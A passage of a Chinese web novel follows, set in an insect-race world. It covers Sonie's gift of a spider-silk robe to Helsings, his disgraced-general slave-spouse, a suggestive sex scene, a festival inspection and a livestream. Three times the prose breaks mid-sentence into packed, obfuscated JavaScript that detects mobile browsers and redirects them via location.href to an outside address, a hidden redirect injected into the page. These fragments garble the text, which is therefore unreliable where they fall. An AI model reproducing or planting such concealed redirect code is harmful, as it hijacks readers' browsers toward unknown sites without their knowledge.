索涅的指尖碰到了一块顺滑柔软的东西。 他看着这个独树一帜高悬在半空中的全息投影,“这个怎么连展示品都没有?” “这件太昂贵了,是九目蛛的蛛丝纺织的布料,如果您要看,请跟我来。”亚雌说。 “多少钱?”索涅先问道。 他知道九目蛛,新手任务里最难杀的boss,蛛丝可以把玩家捆成粽子窒息而死,头一次知道可以用来做衣服。 “一千六百八十万。”亚雌的声音都变轻了,他一个月工资才八千。 索涅又看了看那件衣服,真的很适合赫尔辛斯,可是他买不起。 “算了,把这两件打包起来,送到07路9号。”他说。 虽然没卖出镇店之宝,但亚雌脸上笑容格外热情,这几单他提成也有小几千。 况且,有这么英俊的雄虫洗眼睛。 买完衣服,索涅又顺着大街走了一圈,绕回自家门口,刚好碰到来取货品的二手网站机器人。 黄不拉几的小家伙蹲在他家门口,身后的的大箱子看起来有些滑稽。 “嗯?”小家伙站起来,仰头看着索涅。 “稍等。”索涅弯着眼拍了拍它的脑袋。 真可爱。 本来在重生之前,他都已经买好猫窝猫粮,装好猫爬架,准备去逮一只小流浪了…… 索涅叹了口气。 不知道这个世界有没有猫。 “您怎么了?”赫尔辛斯看到雄虫一回家就叹气。 “没什么。”雄虫走过他身边,取了一顶骚包的皮帽子。 赫尔辛斯看着雄虫的背影,眯起眼不着痕迹地耸了一下鼻子。 香水。 而且是亚雌爱用的,甜兮兮的香水。 雄虫去见了亚雌。 他果然喜欢亚雌。 之前说什么不喜欢所有性别,都是骗他的。 他依稀听到雄虫在外面喃喃自语。 “好想养一只……” 养一只什么? 只能是亚雌了…… 索涅卖完二手货进来时,赫尔辛斯正安静地坐在轮椅上看书。 “一顶破帽子居然真的值五十万,”索涅兴奋地说,“赫尔辛斯,我们已经攒了四百万了!” “还是你识货,不然我肯定会几百个星币卖掉,或者扔在角落吃灰。” 他余光瞥到一旁的几个箱子,诧异,“你怎么没拆?里面有你的衣服。” 索涅笑着撕开包装,“喏,可能没有你以前穿过的好。” 赫尔辛斯看着那件衣服,蛛丝原毛混纺,军雌高级将官的军服就是这种材质。 “……谢谢您,”他鼻子发酸,“太贵了,您不应该……” “很配你,”索涅只是觉得赫尔辛斯值得,“新年新气象嘛。” 他又叹了口气,虫族可没有新年这一说,只有虫神的诞生日萨尔纳斯节。 这种材质比较适合做制服款式,因此索涅买的这两件都带有一股制式的冰雪味道。 雪白的贵族式长袍披在雌虫身上,显得那么相得益彰,好像雪山上的神灵。 赫尔辛斯觉得这衣服穿在身上有些沉重。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464238|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >雄虫是因为要领亚雌回家,所以提前安抚他吗? 按理说是不需要的,他只是一只雌奴,但赫尔辛斯觉得以索涅的性格,很有可能做出安抚雌奴这种事。 但是他等啊等,等到第二天晚上,雄虫依旧伏案奋笔疾书,也没见任何亚雌来家里。 索涅蹙着眉头,看一会儿资料,动笔在纸上写些什么。他的桌子上已经摞了一堆笔记。 冷冽的眉目被冷色灯光照射出淡漠的轮廓,不知道在看什么,眉头深深地皱起,黑蓝的眼睛暮霭沉沉,回头看着他时却又蕴起笑意,潋滟生辉。 “赫尔辛斯,又在练习?怎么样了?”雄虫问他的腿。 赫尔辛斯缓缓地走过去,平稳地走十多米,腿骨才开始疼痛酸软。 “要开始加强练习了,两天就能好。”他说。 “注意安全,不着急。”索涅没有再劝,学过虫族生理知识的他已经知道雌虫的自愈力究竟多恐怖。 “您……”赫尔辛斯开口,却又顿住。 “怎么了?”索涅抬头。 “您刚觉醒,精神丝还在增长,每两天需要一次引导……”他委婉地说。 索涅意会了。 “如果您不愿意我来,请尽早再选一只虫子,”赫尔辛斯没想过独占雄虫,但他得是最特殊的那个,“不然您可能会精神域胀痛。” “……什么意思?!”索涅嗓音猛然拔高,惊愕地看着赫尔辛斯,“我没有不愿意!” “是,您接受精神交|配,您只是不愿意跟我生蛋,”赫尔辛斯索性摊开,“您不必顾及我,家里有多只雌虫亚雌是很正常的……” “什么跟什么!”索涅被他说得鸡皮疙瘩都起来了,“这是我们两个的家!你想干什么!” “……您约会了亚雌,还问我。” 赫尔辛斯站在他面前,松垮垮地穿着那身雪白长袍,金发披散着落在颊边,高高大大的,精致的脸看起来却可怜又委屈。 “我没有,”索涅觉得有点奇怪,怎么这么像妻子质问丈夫,“我只是去那儿买了衣服,你现在还穿着呢,张口就冤枉我。” 赫尔辛斯嘴唇动了一下,不说话了。 “站够了?要不要先去洗漱?”索涅合上书,好整以暇地看着他。 “今晚又要麻烦你了。” 赫尔辛斯眼睛一亮。 索涅没吃过猪肉,但他知道自己究竟在干什么。 他昨天还想着,赫尔辛斯值得更好的,而他不过是个不愿翻身的咸鱼而已。 但当他读到虫族的律法,一切都被推翻了。 从深渊茧房带出来的雌虫,确实原则上只能作为雌奴,并且无名无姓无户籍,生育雄蛋后也就给个户籍作为奖励而已。 就算和他离婚,赫尔辛斯也只能作为雌奴,被他以“送”的形式交给其他雄虫。 一旦送出,无法挽回。 除非他能黑了虫族户籍系统,凭空塞一个赫尔辛斯进去还不被发现。 现在,就算赫尔辛斯和某只雄虫站在他面前发毒誓签协议,索涅都没有那个胆子再跟赫尔辛斯提离婚了。 他防不住那个“万一”。 而在虫族,这个“万一”还很有可能是百分百。 他只能试着走另一条路。 索涅凑到雌虫面前,看着对方垂下的眼睫,有些犹豫地吻了吻他的鼻尖。 他顿了一下,凑上去又亲了一口。 抿唇回味,感觉单纯的亲吻并不难接受。 赫尔辛斯:“……” 雄虫梦游了? 17. 试试就试试 赫尔辛斯的事迹星网上并不难查到。 出生就显露出绝佳的智慧和样貌,从小被当成王虫培养,十二岁连跳三级升入高中,十五岁以联盟第一的成绩考入圣托大学,十八岁试炼战场一战成名,创下的圣托大学多项纪录至今无一被破。 十八岁毕业即少校,二十二岁大校,三十岁一力大败敌族救下五万只雄虫,直接连升三级;三十三岁上将,三十九岁已经肩扛三星角逐议会委员长。 别的虫都是越到后面升衔越难,这家伙犹如坐了火箭越升越快,十一年走完了别的虫一辈子也走不完的路。 也打赢了别的虫一场都打不赢的仗。 他甚至还有一只从小订了婚约的梅尔加圣子未婚雄主,青梅竹马两小无猜。 呸! 索涅收力撕咬着雌虫的唇。 赫尔辛斯在竞选委员长的前三个月奉命迎战安斯族,却被安斯族用一种神秘武器扰乱所有军雌的精神域,机甲不受控制根本无法战斗。 赫尔辛斯意志坚定,是受影响最轻的,但他为了战场上无数陷入混乱的军雌,只能扛着强大的扰乱深入敌族禁地,杀死了他们的王。 他被清醒的军雌拥戴到顶峰,带着一身重伤回到为之效忠的联盟,却锒铛入狱成为阶下囚。 理由是,征讨失败,叛国、伤害圣子、试炼作弊。 数罪并罚,剥夺所有荣誉,判处终身监禁。 他的未婚雄主,那位被伤害的梅尔加圣子,拒绝保释赫尔辛斯。赫尔辛斯被押往无虫得知的边缘星深渊茧房,关押在最底层,不会有雄虫走到那里去,他将在那里化为一捧宇宙尘埃。 索涅轻轻地舔着被他咬肿的唇峰。 “您心情不好?”赫尔辛斯轻声问。 雄虫竟然主动亲他,还又舔又咬,这一定是在发泄。 “嗯。”索涅趴在他身上,雌虫抚摸着他的头发。 索涅已经能感受到赫尔辛斯的精神丝并不多,可能多年前他精神域的伤一直都没有好。 他想起了那座破败的小岛,碎裂的天空。 按照他们的想法,赫尔辛斯应该死在深渊茧房里,可他偏偏还活着,并且活得越来越好! 曾经的那场战役索涅并不了解,但他恰巧看过的第三段剧情,就是安斯族里应外合端了虫族圣山,执政官费伦斯血洒当场,白玉蜂王虫安莫因背着尸体杀红了眼,最后双双归天。 圣山长阶血染,虫族沦为安斯族的奴隶。 诡异的是,索涅当初是安斯族一方的玩家。 当初站在安斯族角度,虫族杀了他们的王,他们去复仇,索涅觉得情有可原。 但现在知道杀了他们的王的是赫尔辛斯,索涅坐立难安。 “赫尔辛斯,三十六计走为上计,你一定要活着。”他没头没脑地对雌虫说。 “嗯,”赫尔辛斯应声,精神丝牵引着雄虫的精神丝,一点点构筑精神图景。 只是越构筑他越迷茫,“这是什么?” 一座四个角翘起的房子,全木质,赤红、明黄、墨蓝三色,看起来繁复华丽,有种古朴的美感。周围还有迷宫一样的红色城墙。 索涅堵住雌虫的唇,不想回答这个问题。 雌虫的唇不薄不厚,咬上去却有种丰腴的肉感。索涅见赫尔辛斯也挺享受,默默地亲了又亲,亲到彼此嘴皮发烫。 他得承认,这感觉确实非常不错,他不反感,甚至非常喜欢和赫尔辛斯啃嘴巴。 但是雌虫不回啃,索涅时不时观察他的神色,才能知道雌虫舒不舒服。 “赫尔辛斯。”他躺倒在雌虫身边,想了想,将手放到了雌虫的手上,轻轻握在一起,“如果我说,我们不离婚了,一辈子生活在一起,你会不会揍我?” 他确实接二连三食言而肥,主要是他在虫族是半个文盲,生活的挫折轻而易举就能改变脆皮地球人的人生计划。 赫尔辛斯的手颤了一下。 索涅的脑袋就在雌虫左胸边,挨着雌虫受伤的手臂,也紧贴着他鼓动剧烈的心脏。 “只有我们两个。”他又补充说。 “你不能再让我领别的虫子回来,我受不了那么多男——虫子在我家里,只有我们两个就好。”索涅罗里吧嗦说了一堆。 “您,什么意思?”赫尔辛斯的心脏几乎在他喉咙口跳动。 “您是说,我会是您唯一的雌奴?您不会再娶别的雌虫,或者亚雌?”他侧过头,想看到雄虫的脸,目之所及却是一个尴尬的头顶。 “不是雌奴,”索涅皱起眉,爬起来看着赫尔辛斯,表情严肃认真,“我会找到办法让你自由的。” “但是这个时间有点久,空头支票一张,我可能一辈子都没有黑进户籍系统的能力。”他不好意思地目光闪烁,“如果我们七年之痒什么的,你还是得和我在一起,别的雄虫我不放心。” 他这话或许显得太过多管闲事,但赫尔辛斯为这种真诚的控制欲而折服。 “您真是,轻而易举地吸引虫子为您飞蛾扑火。”赫尔辛斯的眼睛里带着一丝迷绚的晕光,看得索涅自信心爆棚。 赫尔辛斯确实对他很着迷。 索涅自恋地想。 “赫尔辛斯,但是我可能……”索涅打算开诚布公,耳朵悄无声息地变红,“看到你的下半身会硬不起来。” 赫尔辛斯早已知道了,这对他来说并不难解决,“没关系,只要您愿意,躺下就好,我可以背过身脐橙。” 这才是最常见的交|配姿势。 索涅呛了一下,被他直白劲爆的言语弄得画面感都出来了,不禁揉了揉鼻子。 “您不信?”赫尔辛斯跪坐在床上,“我们现在就可以试试。” “哎!哎等等……”索涅瞪大眼睛。 赫尔辛斯伸手揉了一下,他的嗓子仿佛被一起掐住了。 他哽住了。 二十多年的人生里何曾经历如此刺激。 胸膛半裸的草莓巧克力奶男人在脱他裤子。 索涅伸出手欲拒还迎,虚伪至极。 赫尔辛斯刚要俯下身去,雄虫迅猛地伸出一只手挡住了他的嘴。 “您不愿意了?”赫尔辛斯抬眼。 索涅扭扭捏捏,“这个,不好。” “但是您的信息素已经刺激得我流腺液了,”赫尔辛斯垂眸,语不惊人死不休,“这样会快一点,我忍不住了。” 索涅看他从容的样子,哪像忍不住? “真的?我怎么感觉不到信息素在哪里。”他目光精准落在雌虫露出一半的虫纹上。 他的信息素,在刺激赫尔辛斯的虫纹? 赫尔辛斯大大方方地露出虫纹,看了一眼小雄主眼神里流露出的渴望,拿起他的手放在自己虫纹上。 他的雄主比较矜持,他得主动点。 索涅下意识摸了摸,那块皮肤比他的手指要烫得多。 赫尔辛斯懂得多,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464239|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跟着雌虫的路子走吧。 但是虫族一上来就搞这么刺激吗? 他不知道,这一点都不刺激,不过是虫族最普通,甚至最温和的方式。 雌虫在他唇上轻轻地吻了一下,索涅下意识闭上眼。 下一秒,犹如白日飞升。 索涅猛地睁开眼,看到了一片精壮优美的脊背…… …… 索涅进入了贤者时间。 他排空思绪的方式与众不同,以前是盘核桃,现在是盘赫尔辛斯的腿。 这双腿的骨骼还有些异常,膝盖仍旧有青紫淤血,无法完全伸直。索涅让雌虫躺在床上,从腿根到脚踝,一遍遍地按揉着穴位。 赫尔辛斯有些不自在,带有畸形的腿裸露在喜欢的雄虫面前,还被雄虫抱在怀里按摩。他几乎想蜷起来。 但是索涅神色坦然,并且用的力气格外大,赫尔辛斯腿部力气不足,压根抽不出来。 “赫尔辛斯,刚才还算可以吗?”他有些忐忑,毕竟第一次,“精神域怎么样?” 他不敢问雌虫雌虫舒不舒服,因为他后面完全迷失了,简直胡作非为。 “您给的精神力和信息素都太多了。”赫尔辛斯叹息着说。 索涅的心提了起来,“失败了?” “不,是太成功了,”赫尔辛斯叹息,“我这样严重崩坏的精神域,您初次就修复了百分之一,很快我就没机会再和您上|床了。” 赫尔辛斯心知雄虫是为了治好他才和他发生关系的。 治好了,自然也就没必要再做了。 “才百分之一啊……”索涅不满足地说,听到最后一句又有点脸红,“我又不是你的药,我是你的饭。” “病好了,也是可以继续吃的嘛。”他低声说。 赫尔辛斯被这神奇的比喻弄笑了,但雄虫的意味又让他心中一动。 雄虫开始改变主意了。 是因为这一次交|配? 他身上裹着雄虫的袍子,伸出手时肩膀处有些勒,雄虫比他要瘦得多。 “您是否,”赫尔辛斯知道这个问题有多蠢,但是这是索涅,他觉得可以这么问。 “开始喜欢我了?” 索涅停下动作,看着雌虫美丽的眼睛。 “我一直都很喜欢你。”他肯定地说。 赫尔辛斯的瞳孔微微张大,“不是这种——” “我不知道。” 索涅比他更早地探索这个问题,但他无从分析,因为赫尔辛斯对来说,从一开始就是不同的。在他穿越进来的第二天,他就被迫前往深渊茧房,这里的的一切都让他厌烦不适。 但他也没有立刻去死的想法,只是内心消极地萎靡着。 直到他看到赫尔辛斯,并将弥留之际的雌虫领回了家。 他才活过来了。 “我想和你待在一起,希望你病好,开心,”他弯起眼,抱住赫尔辛斯,“我会弄明白,不会让你等太久。” 他没有一句肯定的话,赫尔辛斯却觉得已经得到了想要的回答。 雄虫冷锐的眉眼软得像棉花糖一样,这就是答案。 他也搂住了雄虫的背。 两只手一起。 索涅意识到什么,猛地退开,神情激动地看着他,捧着他的左手,“赫尔辛斯!你的手能动了!” 赫尔辛斯表情难看。 早不好晚不好,偏偏在他和雄虫抱抱的时候好…… 18. 萨尔纳斯节 做兄弟做到床上的第二天,索涅发愤图强猛学生物,并和赫尔辛斯进行了关于生命大和谐的探讨。 他深深地以为,是时候做个测试卷了。 今天正式入冬,索涅晚上大费周章地包了饺子,赫尔辛斯非要帮忙剁馅儿。 他包的饺子胖嘟嘟地跟球一样,赫尔辛斯包的也勉强没散架。 雌虫的饺子们煮了一碗菜面汤,他还坚持要为索涅做一道入冬的经典食物。 赫尔辛斯的手艺确实极品,索涅一辈子都调不出来这么香的馅儿,雌虫只需要听他描述就知道该怎么做。 他给索涅又蒸了一条瘦了吧唧的鱼,结果一筷子戳下去全是蒜瓣肉,鲜掉眉毛。 入冬的第二天气温明显就变了,接连几天每天都能降温四五度,不出一周直接零下,索涅头一次经历这么垂直的降温。 第二年春天各个大学就会在星网发布招生通道,索涅只有不到三个月的时间,他每天学习到多晚,雌虫就陪他到多晚。 索涅不愿意赫尔辛斯这么做,可其实雌虫比他精神多了,他实在熬不住准备睡觉时,雌虫还面不改色眼神清明。 就这样,时间很快过去一大半,经过赫尔辛斯压缩饼干式的信息提炼,索涅感觉自己已经恢复曾经高考时的巅峰状态。 他了解虫族之后,赫尔辛斯曾经的一些小动作变得格外明显,雌虫忽悠了他不少次。 索涅并不生气,甚至觉得还挺可爱。 他的那些杂货也陆陆续续卖了出去,手头逐渐积攒到一千万星币。 他问过雄保会,确认欠款不会利滚利后,便不准备立刻还款,留在手里以防万一,等攒到三千万再还也不迟。 赫尔辛斯的手臂已经能够做一些轻度活动,索涅经常看到他对着光屏进行繁琐的操作,他也不会去问赫尔辛斯到底在做什么,只要雌虫不会累到,那他都没意见。 已经来到这个陌生的世界小半年,索涅一直计算着地球的日历,新年就在虫族萨尔纳斯节的三天后,他提前准备了一些年货,果然天气预报十分准确,他刚准备好东西,第二天外面就是鹅毛大雪,安静而祥和。 索涅比平时晚起了十分钟,下楼就看到赫尔辛斯正端坐在沙发上,静静地看着窗外。 他穿着索涅买的雪白长袍,落地窗外瑞雪纷飞,楼梯口的雄虫看着他,一时着迷。 “早餐已经为您准备好了。”赫尔辛斯回过头,从沙发上站起来。 索涅下意识快走两步扶住他的胳膊,丝滑的衣料散发着雌虫温暖的体温。 “你先吃嘛,我今天好困,多眯了十分钟。”索涅说,给赫尔辛斯倒了一杯奶茶。 这还是他教给赫尔辛斯的,但雌虫已经做得比他要好得多。餐桌是直径两米的大圆桌,但他们的椅子靠在一起,桌上食物也只摆满一个小角落。 “今天是萨尔纳斯节,”赫尔辛斯说着,为索涅盛好鱼糜汤,“雄保会一会儿可能会来。” 雄虫不太爱吃甜食,倒是很喜欢他做的一些主星特色菜肴。 “来干嘛?晦气。”索涅蹙起眉,他对神经兮兮的雄保会没有一点好感,每次他们来都没好事。 “萨尔纳斯节是虫神的诞生日,也是一年一度的公民信息摸底日,您不必担心,他们应该就是来走个过场。”赫尔辛斯说。 索涅并不太在乎,只是叹了口气,“要是能给你换身份就好了。” 他喝完一碗汤,有些发愁,“赫尔辛斯,离报名开始只有一个月了,你觉得我能考上吗?” “我之前基础很差,也没学多少时间,而且咱们这星球又这么偏,别的虫子肯定都学的比我精……”他絮絮叨叨地说着,一边说一边用膝盖轻轻地顶着赫尔辛斯的大腿。 雄虫的某些小动作实在是太神奇了,赫尔辛斯的心总是轻易地软成一滩水。 “您应该对自己有信心,”他冒犯地用双腿夹住雄虫作乱的膝盖,“何况,以您的努力程度,和我提炼的考纲,在考试中拔得头筹也不是难事。” 他觉得索涅还是太高估其他雄虫的实力了。 然而索涅同样觉得赫尔辛斯的西施滤镜也太厚了,不过赫尔辛斯的实力和学识他完全相信,他不信的是自己,以及没太理解别的虫再菜能菜到哪儿去? 赫尔辛斯希望索涅能不要这么焦虑,他从星网上找了一份真题,让索涅做了一遍,最后一道题雄虫没做出来。 索涅垂头丧气地对完答案,只拿了82分。 赫尔辛斯又找出那年圣托录取的最高分雄虫,这只雄虫晒过成绩单,这门课明晃晃地写着一个60。 索涅看着对方的成绩单,开始沉思。 也就是说他完全可以放弃一开始苟保底的园艺专业,去博一把机甲系? 赫尔辛斯眼睁睁看着雄虫如同打了鸡血,双眼亮得放光,从椅子上猛地站起来,郑重宣布:“我要考机甲系!” 赫尔辛斯:“……” 他艰难地开口:“您打算用高分去读冷门专业?” “嗯!……嗯???机甲系冷门吗?”索涅大为震惊,“我看每年报机甲系的虫子都是最多的啊。” “您看的那是雌虫,”赫尔辛斯一直以为索涅这么努力是打算考园艺、文学类或者考古,“机甲系在雄虫里绝对的冷门专业。” “雄虫们最喜欢的是文学、考古和少数科学类,自从费伦斯公爵担任执政官以后,选择科研工作的雄虫也越来越多了。”赫尔辛斯说。 “费伦斯公爵?”索涅了解的为数不多的虫子就是他,不过都是圣山决战时的费伦斯。 “是的,查布·费伦斯阁下当初是圣托大学生命科学与种族进化研究院的院长,也是永恒项目一级研究员,他执政后,不少雄虫阁下都开始对科研工作趋之若鹜。”赫尔辛斯见识过当初最火爆的局面。 “我在深度决斗也听到过他,那圣子又是怎么一回事?费伦斯的崽子?”关于圣子的内容星网上少之又少,绕来绕去也只有历代圣子的名字,和一些无关痛痒的讨论贴。 “圣子,”赫尔辛斯顿了一下,“是从三大王族和其他贵族平民里选拔出来的等级最高的雄虫,不过一般都被梅尔加王族垄断了。” 梅尔加。 索涅猛地想起一件事。 赫尔辛斯之前的未婚雄主就是梅尔加,并且还是个圣子,也就是说,赫尔辛斯之前的未婚雄主是虫族最优秀的雄虫之一。 他看着赫尔辛斯的眼睛,清晰地看到其中闪过一丝恍然。 赫尔辛斯想起了那只雄虫。 索涅心里开始酸溜溜,也怪他这张破嘴,没事问什么圣子! “圣子是执政官的继任者,当初费伦斯公爵也是圣子之一,不过他是梅尔加王族内斗时遗落在垃圾星的雄蛋,却碾压梅尔加培养的高级雄虫,成为圣子之一,并且至今没有娶任何雌虫。”赫尔辛斯说。 这么一说,索涅开始佩服这个费伦斯了,是个狠人。 “索涅阁下,在家吗?”门铃接连响了几声,外面也传来声音。 索涅知道是讨债的来了。 他深深地叹了一口气,慢吞吞地披上厚衣服去开门。 门外站着五六只穿红色长袍的虫子,目测还有些雌虫。 “我们是雄保会,来摸底的。”一只雄虫说。 索涅就像个七老八十行将就木的老人,看了他们一会儿,才慢慢地打开院门让他们进来。 没办法,对方要量房子的尺寸和家居状况。 “您家里实在是太冷清了,瞧瞧,花园里连耐寒的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464240|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有!”一只雄虫夸张地惊叹,好似来到了贫民窟似的,一路绕着索涅的花园走。 索涅淡淡地看了一眼花园,“长得太丑,我挖掉了。” 什么审美,大红大紫还没有叶子的鬼脸花,看着都瘆人。 其他虫:“……” “咳,明年一定给您换个品种。”一只雌虫打圆场道 索涅无所谓,反正他和赫尔辛斯要走了。 小房子外面看起来破旧,里面却打理得很好,整整齐齐明亮温暖,黑胡桃色的家具被茶油渗得噌亮,整个房子温度暖得让虫犯困,还弥漫着一股悠长的甜香。 是赫尔辛斯煮的奶茶,没喝完的还摆在他们的餐桌上。赫尔辛斯正在擦栏杆,这是他每天的锻炼项目。 他正站着,一群慕名而来想别有目的的虫子顿时惊了,脱口而出:“他不是个残废吗?” 索涅不耐烦地冷声:“只是受伤而已,快养好了。你们到底想干什么?” “我们量房子,量房子……”两只雄虫连忙说。 奇怪,他们之前也来过,那时候索涅这只劣等雄虫好像没这么高,也没这么有压迫性。 索涅眼帘一垂,唇角拉得平直,那股子冷漠厌烦的情绪一下子呼之欲出,肤色苍白冷峻,身上的贵族味儿也太浓了,压迫感甚至胜过星球上一些落魄贵族。 但他不过是个平民劣等雄虫,摆出这种姿态,反应过来的两只雄虫不禁有些不忿,故意开始找茬。 “你这房子也有年头了,怎么不搬到中心区的新别墅去住?”一只雄虫不怀好意地说。 “没钱。”索涅看都懒得看他,靠在栏杆边和赫尔辛斯小声地聊着天。 赫尔辛斯清晰地看到那只雄虫梗了一下,不知道该怎么接话了。 他不禁一笑,听到他的雄虫偷偷地倒苦水。 “赫尔辛斯你看,他们笑话我,”索涅超小声地说,“其实这房子也还可以吧,只是没打理外墙而已。” “很舒服的住所,”赫尔辛斯也这么认为,对于他们两只虫来说,房子甚至有些大,尤其他和索涅已经住进一间屋子,“您不必介意,他们是故意挑刺而已。” 索涅也知道,但赫尔辛斯跟他咬耳朵让他心情更好了点。 外表冷峻高贵的雌虫轻声细气地在他耳边安慰他,索涅的不开心都被吹拂在耳朵上的气流吹走了。 “随便擦擦就行,别累着。”他接过雌虫手里的布巾沾饱水又拧干。 这一下了捅了马蜂窝,赫尔辛斯下意识看过去,果然发现那几只虫子瞪大眼睛不可思议地看着索涅。 他轻轻地勾起唇。 “该死的雌奴!竟好让雄虫洗抹布!我要把你带回管教所好好教教规矩!”一只雄虫眼神示意,他的雌虫当即就要抓赫尔辛斯。 索涅拿着抹布,脚步一转挡在赫尔辛斯身前。 赫尔辛斯低头看着雄虫苍白的后颈,一动也不动。 “你们不让我洗抹布?”索涅伸手点开手环,打开录像对准场景。 “我想洗,你们不让我洗?”他又问,语气平淡。 雄虫反应过来,一时噎住了。 该怎么说? 可这明明就是雌奴失职! 但索涅这么一说好像他们限制雄虫自由似的。 “既然是来量房子的,量好就请离开吧,雪下得这么大,路上注意安全。”索涅转身对着赫尔辛斯,“我去送送他们。” 赫尔辛斯几乎忍不住笑意,轻轻点头。 虫子们被一路送到门外,索涅又对着他们说了一句,“辛苦你们走一趟,注意安全。” 两只雄虫迷迷糊糊地上了飞行舰,其余雌虫彼此对视一眼,心知肚明索涅这是咒他们呢。 有意思的雄虫。 19. 火气有点旺 对于索涅和赫尔辛斯来说,萨尔纳斯节唯一的好处可能就是晚上的大型烟花秀和灯会。 小楼的二楼有个露台,索涅封闭玻璃窗,和赫尔辛斯坐在炉火旁喝奶茶玩游戏。 他其实是不想直播的,因为这样的氛围适合和雌虫独享,但雌虫看到他玩游戏就顺手打开了直播,索涅也没反对。 他和赫尔辛斯面对面联机下三角棋,看到赫尔辛斯的头像他笑了。 [怎么个情况,西红柿成功凭借三角棋找到雄主了?] [这都能行?] [求西红柿开个班儿吧] [奸诈的雌虫!] 索涅看了一眼评论,眼里浮起笑意,“不用猜了,我们本来就认识。” [真会玩儿] [这就是技术] [西红柿竟然赢了!] 赫尔辛斯皱眉看着自己的棋盘,“您放水了。” 索涅弯起眉眼,“我可没有,怎么不能是你进步了?” 赫尔辛斯对自己的水平心知肚明。 [有一说一,确实放水了] [阁下好温柔] [西红柿你别太幸福了] “喏,煮好了。”大晚上煮的是假奶茶,俗称热水果奶。 “您不喜欢甜食,还费心费力地准备那么久,”赫尔辛斯接过杯子捧在手里,“您对我太好,我现在甚至无法同等地回报您。” 更别说,应该完全是雌虫来照顾雄虫的。 [瞎说什么让虫嫉妒的话] [我不会进了一个有剧本的直播间吧] “我是不喜欢吃,但我喜欢闻这种甜味,”索涅也没说假话,“我偶尔还是吃一点的。” “你太可爱了,我们两个不用计较那么多,这个天平永远是平衡的。”他忍不住凑过去吻了一下雌虫的眉峰。 在璀璨的烟花下,赫尔辛斯神性的外表似乎也有了烟火气,看得他心里柔软。 他确实在喜欢上赫尔辛斯,关乎爱情的那种。 [我好像听到了“啵”的一声] [棋盘怎么不动了] [你们猜?] [一群死装的虫子?阁下和那只雌虫打啵了听不出来吗?!] [……] [没虫问你!] 烟花放了一轮又一轮,索涅渐渐地开始犯困了。 等烟花的声音停息,索涅立刻和赫尔辛斯关灯进屋,不一会儿就陷入熟睡中。 外面大街上灯火通明,各式各样的店铺牟足了力气吸引顾客,大量虫子们才开始头上街头彻夜狂欢。 赫尔辛斯在黑暗里睁眼,依稀能听到外面热闹的嘈杂。他侧头,索涅正侧身面对着他,呼吸轻缓,睡得沉而安稳。 其实今晚,也是一个约定俗成的约会夜。 房间昏暗静谧,雄虫的放在赫尔辛斯的手心里,额头靠着他的枕头。 赫尔辛斯心中一片宁静,他闭上眼,转身面对着索涅,靠近雄虫的身体,也渐渐地陷入睡梦中…… 此刻ZY003外星域,梭形星舰上的雌虫们正聊天聚餐,桌上摆满各个星球特产美食,一只雌虫拿着手环看了很久,无语地关掉光屏坐回沙发。 “萨尔纳斯节啊!老大竟然连一条消息都不给我们发。”他抱怨道。 他对面的雌虫瞥了他一眼:“哦哟,你是谁啊?萨尔纳斯是性和繁衍的节日,老大凭啥给你发消息?” “那我们为什么要在这儿庆祝萨尔纳斯?为了性和繁衍?”某雌虫说。 “我们只是没有,又不是不喜欢,庆祝一下就当祈愿了!”另一只雌虫说。 “这鬼地方,我们几个是找不到雄主了,”刚开始的雌虫说,“连一只B级以上的雄虫都没有!老大真可怜,E级雄虫有什么好稀罕的。” “闭嘴吧你!”刚才怼他的雌虫再次说,“那位阁下对老大有救命之恩,要不是他,我们下辈子也救不出老大,你难道以为老大很蠢?救了他的命他就会陷入爱河以身相许?” “那位阁下必然是有什么老大喜欢的点,我开始有点好奇了。”他说。 “可是老大的精神域怎么办!你们就知道奉承雄虫!最重要的是劝他!劝老大想想清楚!”那只雌虫又说。 “别的我不知道,但老大想得肯定比你清楚多了。”和他不对付的雌虫嘲讽地说。 两只虫子互相针尖对麦芒,关键时候拱火的雌虫又出来拉架。 “有话好好说……” “闭嘴!“两只雌虫同时吼道。 长桌尽头,一只白色头发的雌虫一直沉默不语。 “莫尔亚,你说句话啊!劝劝他们!”他旁边的雌虫低声步催促,“你看都乱成什么样子了,老大要是在,他们早就被踹出去了。” “我已经够累了,等老大回来他自己管,”莫尔亚剔了剔牙,桌上十五斤的大烤鸡一半都是他吃的,“长期不着陆,受精神域的影响而已,让他们打一架就好了。” “唉,”雌虫看看不管事的莫尔亚,再看看针锋相对的同伴,深深地叹气,“老大什么时候回来啊……” “你得等铁树的花骨朵都开完,”莫尔亚啧了一声,“那得猴年马月去,慢慢等吧。” 雌虫沮丧地坐在椅上,愤愤地拿起一个大鸡腿咬了一口。 —— 一个月后。 